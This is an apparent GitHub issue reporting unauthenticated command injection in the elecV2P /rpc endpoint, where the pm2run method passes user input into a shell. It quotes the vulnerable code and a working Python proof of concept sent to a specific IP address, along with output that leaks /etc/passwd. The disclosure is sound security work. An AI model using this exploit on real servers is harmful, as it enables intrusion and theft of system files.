Skip to content

RCE via the /rpc endpoint #196

@NinjaGPT

Description

@NinjaGPT

Summary

The /rpc endpoint requires no authentication. The pm2run method concatenates params[0] directly into exec('pm2 start ' + params[0]) without sanitization, enabling OS command injection. Confirmed by reading /etc/passwd from the response.


Details

  • SOURCE
// source-code/elecV2P-master/webser/wbrpc.js#L25C1-L220C2
 25→function eRPC(req, res) {
 26→  let {
 27→    method,
 28→    params
 29→  } = req.body
 30→  clog.info(req.headers['x-forwarded-for'] || req.connection.remoteAddress, 'run method', method, 'with', params && params[0])
 31→  // method: string, params: array
 32→  switch (method) {
 33→    case 'pm2run':
 34→      let undone = true
 35→      exec('pm2 start ' + params[0] + ' --attach --no-autorestart', {
 36→        timeout: 5000,
 37→        call: true,
 38→        from: 'rpc',
 39→        ...params[1],
 40→        cb(data, error, finish) {
 41→          if (undone && finish) {
 42→            res.json({
 43→              rescode: 0,
 44→              message: data
 45→            })
 46→          } else if (error) {
 47→            clog.error(error)
 48→            res.json({
 49→              rescode: -1,
 50→              message: error
 51→            })
 52→            undone = false
 53→          } else {
 54→            clog.debug(data)
 55→          }
 56→        }
 57→      })
 58→      break
 59→    case 'copy':
 60→    case 'move':
 61→      if (sType(params[0]) === 'array') {
 62→        let message = `${method} operation completed`
 63→        params[0].forEach(fn => {
 64→          file[method](params[1] + '/' + fn, params[2] + '/' + fn, (err) => {
 65→            if (err) {
 66→              clog.error(method, fn, 'fail', err)
 67→              message += `\nfail to ${method} ${fn}`
 68→            }
 69→          })
 70→        })
 71→
 72→        res.json({
 73→          rescode: 0,
 74→          message
 75→        })
 76→      } else {
 77→        res.json({
 78→          rescode: -1,
 79→          message: 'a array parameter is expect'
 80→        })
 81→        clog.error(method, 'file error: a array parameter is expect')
 82→      }
 83→      break
 84→    case 'rename':
 85→      file.rename(params[0], params[1], (err) => {
 86→        if (err) {
 87→          res.json({
 88→            rescode: -1,
 89→            message: err.message
 90→          })
 91→          clog.error(err)
 92→        } else {
 93→          res.json({
 94→            rescode: 0,
 95→            message: 'success rename file'
 96→          })
 97→        }
 98→      })
 99→      break
100→    case 'save':
101→      let fcont = params[1]
102→      if (params[2] === 'hex' && sType(params[1]) === 'array') {
103→        clog.info('save mode is', params[2], 'Buffer.from content')
104→        fcont = Buffer.from(params[1])
105→      }
106→      file.save(params[0], fcont, (err) => {
107→        if (err) {
108→          clog.error(err)
109→          res.json({
110→            rescode: -1,
111→            message: err.message
112→          })
113→        } else {
114→          res.json({
115→            rescode: 0,
116→            message: 'success save file to ' + params[0]
117→          })
118→        }
119→      })
120→      break
121→    case 'mkdir':
122→      file.mkdir(params[0], (err) => {
123→        if (err) {
124→          clog.error(err)
125→          res.json({
126→            rescode: -1,
127→            message: err.message
128→          })
129→        } else {
130→          res.json({
131→            rescode: 0,
132→            message: 'success make dir ' + params[0]
133→          })
134→        }
135→      })
136→      break
137→    case 'zip':
138→      if (file.zip(params[0], params[1])) {
139→        res.json({
140→          rescode: 0,
141→          message: 'success make zip file ' + params[1]
142→        })
143→      } else {
144→        res.json({
145→          rescode: -1,
146→          message: 'fail to make zip file ' + params[1]
147→        })
148→      }
149→      break
150→    case 'unzip':
151→      let unzipres = file.unzip(params[0], params[1], {
152→        filelist: true
153→      })
154→      if (unzipres) {
155→        res.json({
156→          rescode: 0,
157→          message: 'success unzip ' + params[0],
158→          reslist: unzipres
159→        })
160→      } else {
161→        res.json({
162→          rescode: -1,
163→          message: 'fail to unzip ' + params[0]
164→        })
165→      }
166→      break
167→    case 'download':
168→      let name = params[2] || surlName(params[0]);
169→      let key = sHash(params[0] + params[1] + name);
170→      if (statusRPC.download.has(key)) {
171→        return res.json({
172→          rescode: 1,
173→          message: `${name} already in download list, try different folder or name`,
174→          resdata: name
175→        });
176→      }
177→      let downloaditem = {
178→        url: params[0],
179→        name: name,
180→        folder: params[1],
181→        status: 'downloading'
182→      }
183→      statusRPC.download.set(key, downloaditem);
184→      const mid = 'progress' + statusRPC.download.size;
185→      downloadfile(params[0], {
186→        folder: params[1],
187→        name: name
188→      }, (options) => {
189→        if (options.progress) {
190→          sseSer.Send('efss', {
191→            type: 'message',
192→            data: {
193→              progress: options.progress,
194→              mid,
195→            }
196→          });
197→        }
198→      }).then(dest => {
199→        res.json({
200→          rescode: 0,
201→          message: 'file download to: ' + dest,
202→          resdata: dest
203→        });
204→        downloaditem.status = 'finished';
205→      }).catch(e => {
206→        res.json({
207→          rescode: -1,
208→          message: `${params[1] || ''} ${errStack(e)}`
209→        });
210→        downloaditem.status = 'aborted';
211→      })
212→      break
213→    default:
214→      clog.info('RPC method', method, 'not found')
215→      res.status(501).json({
216→        rescode: 501,
217→        message: `method ${method || ''} not found`
218→      })
219→  }
220→}
  • SINK
// source-code/elecV2P-master/func/exec.js#L270C1-L371C2
270→async function execFunc(command, options = {}, cb = null) {
271→  let execlog = clog
272→  if (sType(options.logname) === 'string') {
273→    execlog = new logger({
274→      head: options.logname.replace(/\.task$/, ''),
275→      level: 'debug',
276→      file: options.logname,
277→      cb: options.from === 'task' ? wsSer.send.func('tasklog') : null
278→    })
279→  }
280→
281→  cb = cb || options.cb
282→  delete options.cb
283→  let callback = () => {}
284→  if (cb && sType(cb) === 'function') {
285→    callback = cb
286→  }
287→  let fev = await commandSetup(command, options, execlog).catch(e => {
288→    let err = errStack(e)
289→    execlog.error(err)
290→    callback(null, err)
291→  })
292→  let childexec = exec(fev.command, fev.options)
293→  if (!options.id) {
294→    options.id = `${options.from || 'exec'}_${Date.now()}`
295→  }
296→  subprocess.set(options.id, {
297→    command: fev.command,
298→    childexec
299→  })
300→  wsSer.send({
301→    type: 'subprocessadd',
302→    data: {
303→      id: options.id,
304→      command: fev.command,
305→    }
306→  })
307→
308→  execlog.notify('start run command:', fev.command, 'cwd:', fev.options.cwd)
309→  callback('start run command: ' + fev.command + ' cwd: ' + fev.options.cwd + '\n')
310→  execlog.debug('start run command:', fev.command, 'with options:', {
311→    ...fev.options,
312→    env: '...process.env'
313→  })
314→
315→  let fdata = []
316→  childexec.stdout.on('data', data => {
317→    data = data.toString().trim()
318→    execlog.info(data)
319→    callback(data)
320→    if (options.call) {
321→      if (fdata.length > CONFIG_exec.maxfdata) {
322→        fdata.splice(0, fdata.length / 2)
323→      }
324→      fdata.push(data)
325→    }
326→  })
327→
328→  childexec.stderr.on('data', err => {
329→    err = err.toString().trim()
330→    execlog.error(err)
331→    callback(null, err)
332→    wsSer.send({
333→      type: 'minishell',
334→      data: err
335→    })
336→  })
337→
338→  childexec.on('exit', (code, signal) => {
339→    let fstr = 'command: ' + command
340→    if (options.timeout && signal === 'SIGTERM') {
341→      fstr += ` may run timeout of ${options.timeout}ms`
342→    } else if (signal === 'SIGINT') {
343→      fstr += ' exited'
344→    } else {
345→      fstr += ' finished'
346→    }
347→    execlog.info(fstr)
348→    callback(options.call ? fdata.join('') : fstr, null, true)
349→    if (subprocess.has(options.id)) {
350→      subprocess.delete(options.id)
351→      wsSer.send({
352→        type: 'subprocessexit',
353→        data: options.id,
354→      })
355→    }
356→  })
357→
358→  if (options.stdin && options.stdin.write !== undefined) {
359→    if (options.stdin.delay === undefined) {
360→      options.stdin.delay = 2000
361→    }
362→
363→    let hint = 'input ' + options.stdin.write + ' after ' + options.stdin.delay + ' milliseconds'
364→    execlog.info(hint)
365→    callback(hint)
366→    setTimeout(() => {
367→      childexec.stdin.write(options.stdin.write)
368→      childexec.stdin.end()
369→    }, options.stdin.delay)
370→  }
371→}

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/rpc', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

target_url = "http://34.127.19.15:42863/rpc"

# Prepare the payload to exploit the command injection vulnerability
malicious_payload = 'cat /etc/passwd'

# Construct the JSON body with the method and parameters
json_body = {
    "method": "pm2run",
    "params": [malicious_payload, {}]
}

response = requests.post(target_url, json=json_body, verify=False, timeout=30)

print("Status Code:", response.status_code)
print("Response Text:", response.text)
# ********************************** Poc End ***********************************
  • The executed result
Status Code: 200
Response Text: {
  "rescode": 0,
  "message": "┌────┬────────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐\n│ id │ name       │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │\n├────┼────────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤\n│ \u001b[1m\u001b[36m1\u001b[39m\u001b[22m  │ cat        │ default     │ N/A     │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m    │ 2741     │ 0s     │ 2    │ \u001b[32m\u001b[1monline\u001b[22m\u001b[39m    │ 0%       │ 744.0kb  │ \u001b[1mroot\u001b[22m     │ \u001b[90mdisabled\u001b[39m │\n│ \u001b[1m\u001b[36m0\u001b[39m\u001b[22m  │ elecV2P    │ default     │ 3.8.3   │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m    │ 2479     │ 49s    │ 1    │ \u001b[32m\u001b[1monline\u001b[22m\u001b[39m    │ 0%       │ 94.1mb   │ \u001b[1mroot\u001b[22m     │ \u001b[90mdisabled\u001b[39m │\n│ \u001b[1m\u001b[36m3\u001b[39m\u001b[22m  │ id         │ default     │ N/A     │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m    │ 0        │ 0      │ 0    │ \u001b[31m\u001b[1mstopped\u001b[22m\u001b[39m   │ 0%       │ 0b       │ \u001b[1mroot\u001b[22m     │ \u001b[90mdisabled\u001b[39m │\n│ \u001b[1m\u001b[36m2\u001b[39m\u001b[22m  │ passwd     │ default     │ N/A     │ \u001b[7m\u001b[1mfork\u001b[22m\u001b[27m    │ 2742     │ 0s     │ 0    │ \u001b[32m\u001b[1monline\u001b[22m\u001b[39m    │ 0%       │ 8.7mb    │ \u001b[1mroot\u001b[22m     │ \u001b[90mdisabled\u001b[39m │\n└────┴────────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘\u001b[31m2|passwd  | \u001b[39m/etc/passwd:1\n\u001b[31m2|passwd  | \u001b[39mroot:x:0:0:root:/root:/bin/sh\n\u001b[31m2|passwd  | \u001b[39m        ^\n\u001b[31m2|passwd  | \u001b[39mSyntaxError: Unexpected token ':'\n\u001b[31m2|passwd  | \u001b[39m    at wrapSafe (node:internal/modules/cjs/loader:1464:18)\n\u001b[31m2|passwd  | \u001b[39m    at Module._compile (node:internal/modules/cjs/loader:1495:20)\n\u001b[31m2|passwd  | \u001b[39m    at Module._extensions..js (node:internal/modules/cjs/loader:1623:10)\n\u001b[31m2|passwd  | \u001b[39m    at Module.load (node:internal/modules/cjs/loader:1266:32)\n\u001b[31m2|passwd  | \u001b[39m    at Module._load (node:internal/modules/cjs/loader:1091:12)\n\u001b[31m2|passwd  | \u001b[39m    at Object.<anonymous> (/usr/local/app/node_modules/pm2/lib/ProcessContainerFork.js:33:23)\n\u001b[31m2|passwd  | \u001b[39m    at Module._compile (node:internal/modules/cjs/loader:1521:14)\n\u001b[31m2|passwd  | \u001b[39m    at Module._extensions..js (node:internal/modules/cjs/loader:1623:10)\n\u001b[31m2|passwd  | \u001b[39m    at Module.load (node:internal/modules/cjs/loader:1266:32)\n\u001b[31m2|passwd  | \u001b[39m    at Module._load (node:internal/modules/cjs/loader:1091:12)"
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions